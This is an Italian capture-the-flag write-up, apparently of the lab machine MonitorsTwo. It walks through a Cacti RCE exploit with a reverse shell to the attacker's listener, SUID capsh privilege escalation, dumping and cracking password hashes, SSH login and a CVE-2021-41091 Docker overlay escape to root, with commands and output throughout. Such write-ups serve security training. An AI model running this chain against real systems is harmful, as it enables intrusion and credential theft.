```
nmap -sV -sC -A 10.10.11.211

Porta da analizzare

80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Login to Cacti                     <---------------
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Versione 1.2.22, è presente una RCE

python exp.py -u http://10.10.11.211 --LHOST=10.10.14.74 --LPORT=8001

otteniamo una prima shell

Enumerando il sistema troviamo l'eseguibile capsh con il suid


./capsh --gid=0 --uid=0 --    (gtfobins)


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin


 * Make sure these values reflect your actual database/host/user/password
 */

$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'db';
$database_username = 'root';
$database_password = 'root';
$database_port     = '3306';
$database_retries  = 5;
```

```
$database_ssl      = false;
$database_ssl_key  = '';
$database_ssl_cert = '';
$database_ssl_ca   = '';
$database_persist  = false;
```

visualizzando il file entrypoint.sh troviamo le operazioni effettuate sul db.

```
#!/bin/bash
set -ex

wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~
"automation_devices" ]]; then
    mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
    mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET
must_change_password='' WHERE username = 'admin'"
    mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone =
'UTC'"
fi

chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
        set -- apache2-foreground "$@"
fi

exec "$@"
```

modifichiamo il file e allo stesso modo enumeriamo il db

modifichiamo

```
echo '#!/bin/bash' > test.sh
echo 'set -ex' >> test.sh
echo 'wait-for-it db:3306 -t 300 -- echo "database is connected"' >> test.sh
echo 'mysql --host=db --user=root --password=root cacti -e "select * from
user_auth"' >> test.sh
```

```
+ mysql --host=db --user=root --password=root cacti -e 'select * from user_auth'
id      username        password        realm   full_name       email_address
must_change_password    password_change show_tree       show_list   show_preview
   graph_settings  login_opts      policy_graphs   policy_trees    policy_hosts
  policy_graph_templates  enabled lastchange  lastlogin       password_history
     locked  failed_attempts lastfail        reset_perms
1       admin   $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC
0       Jamie Thompson  admin@monitorstwo.htb           on on       on      on
   on      2       1       1       1       1       on      -1      -1      -1
          0       0       663348655
```

```
3       guest   43e9a4ab75570f5b        0       Guest Account           on
on      on      on      on      3       1       1       1  11               -1
   -1      -1              0       0       0
4       marcus  $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
0       Marcus Brune    marcus@monitorstwo.htb              on       on      on
   on      1       1       1       1       1       on      -1      -1
  on      0       0       2135691668


1       admin   $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC
0       Jamie Thompson  admin@monitorstwo.htb
4       marcus  $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
0       Marcus Brune    marcus@monitorstwo.htb


usiamo john

marcus:funkymonkey


siamo in un docker. Proviamo le credenziali in ssh (entriamo nell'host)


ssh marcus@10.10.11.211

Last login: Wed May 10 16:09:32 2023 from 10.10.14.117
marcus@monitorstwo:~$ ls
linpeas.sh  user.txt
marcus@monitorstwo:~$ cat user.txt


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time
```

```
Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
marcus:x:1000:1000:,,,:/home/marcus:/bin/bash
fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:997::/var/log/laurel:/bin/false


marcus@monitorstwo:/etc/nginx/sites-enabled$ cat default
server {
        listen 80 default_server;
        listen [::]:80 default_server;  <------------
        server_name cacti.monitorstwo.htb;
#       root /var/www/html;
#       index index.html index.htm index.nginx-debian.html;
        server_name _;

        location / {
                proxy_pass http://127.0.0.1:8080/;    <------------   docker
        }
}


-rw-r--r-- 1 root root 1490 Feb  4  2019 /etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
        worker_connections 768;
}
http {
        sendfile on;
        tcp_nopush on;
        tcp_nodelay on;
        keepalive_timeout 65;
        types_hash_max_size 2048;
        include /etc/nginx/mime.types;
        default_type application/octet-stream;
        ssl_prefer_server_ciphers on;
        access_log /var/log/nginx/access.log;
        error_log /var/log/nginx/error.log;
        gzip on;
        include /etc/nginx/conf.d/*.conf;
```

```
        include /etc/nginx/sites-enabled/*;
}
```

Enumerando troviamo questa email nell'utente

```
marcus@monitorstwo:/usr/share/cacti$ cat /var/mail/marcus
From: administrator@monitorstwo.htb
To: all@monitorstwo.htb
Subject: Security Bulletin - Three Vulnerabilities to be Aware Of

Dear all,

We would like to bring to your attention three vulnerabilities that have been
recently discovered and should be addressed as soon as possible.

CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and
is related to the CIPSO and CALIPSO refcounting for the DOI definitions.
Attackers can exploit this use-after-free issue to write arbitrary values.
Please update your kernel to version 5.11.14 or later to address this
vulnerability.

CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti
1.2.13 and occurs due to improper escaping of error messages during template
import previews in the xml_path field. This could allow an attacker to inject
malicious code into the webpage, potentially resulting in the theft of sensitive
data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to
address this vulnerability.

CVE-2021-41091: This vulnerability affects Moby, an open-source project created
by Docker for software containerization. Attackers could exploit this
vulnerability by traversing directory contents and executing programs on the
data directory with insufficiently restricted permissions. The bug has been
fixed in Moby (Docker Engine) version 20.10.9, and users should update to this
version as soon as possible. Please note that running containers should be
stopped and restarted for the permissions to be fixed.

We encourage you to take the necessary steps to address these vulnerabilities
promptly to avoid any potential security breaches. If you have any questions or
concerns, please do not hesitate to contact our IT department.

Best regards,

Administrator
CISO
Monitor Two
Security Team
```

Usiamo il CVE-2021-41091

```
marcus@monitorstwo:/tmp$ ./exp.sh
```

```
[!] Vulnerable to CVE-2021-41091
[!] Now connect to your Docker container that is accessible and obtain root
access !
[>] After gaining root access execute this command (chmod u+s /bin/bash)

Did you correctly set the setuid bit on /bin/bash in the Docker container?
(yes/no):
```

rientriamo nel docker e settiamo il suid

```
└─$ nc -nvlp 8001
listening on [any] 8001 ...
connect to [10.10.14.74] from (UNKNOWN) [10.10.11.211] 52206
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@50bca5e748b0:/var/www/html$
```

```
/sbin/capsh --gid=0 --uid=0 --

www-data@50bca5e748b0:/var/www/html$ /sbin/capsh --gid=0 --uid=0 --

/sbin/capsh --gid=0 --uid=0 --
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
```

```
ls -lisa /bin/bash
41766 1208 -rwxr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
chmod +s /bin/bash
ls -lisa /bin/bash
41766 1208 -rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash
```

```
marcus@monitorstwo:/tmp$ ./exp.sh
[!] Vulnerable to CVE-2021-41091
[!] Now connect to your Docker container that is accessible and obtain root
access !
[>] After gaining root access execute this command (chmod u+s /bin/bash)

Did you correctly set the setuid bit on /bin/bash in the Docker container?
(yes/no): yes
[!] Available Overlay2 Filesystems:
/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb8
3007effec/merged
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdb
a372cb2f1/merged

[!] Iterating over the available Overlay2 filesystems !
[?] Checking path:
```

```
/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb8
3007effec/merged
[x] Could not get root access in
'/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb
83007effec/merged'

[?] Checking path:
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdb
a372cb2f1/merged
[!] Rooted !
[>] Current Vulnerable Path:
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdb
a372cb2f1/merged
[?] If it didn't spawn a shell go to this path and execute './bin/bash -p'
<-------------------------

[!] Spawning Shell
/usr/bin/whoami: /usr/bin/whoami: cannot execute binary file
marcus@monitorstwo:/tmp$ cd
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdb
a372cb2f1/merged


marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c
9ad6325201c85f73fdba372cb2f1/merged$ ./bin/bash -p     (filesystem montato del
docker con suid /bin/sh)
bash-5.1# id
uid=1000(marcus) gid=1000(marcus) euid=0(root) egid=0(root)
groups=0(root),1000(marcus)
bash-5.1#
```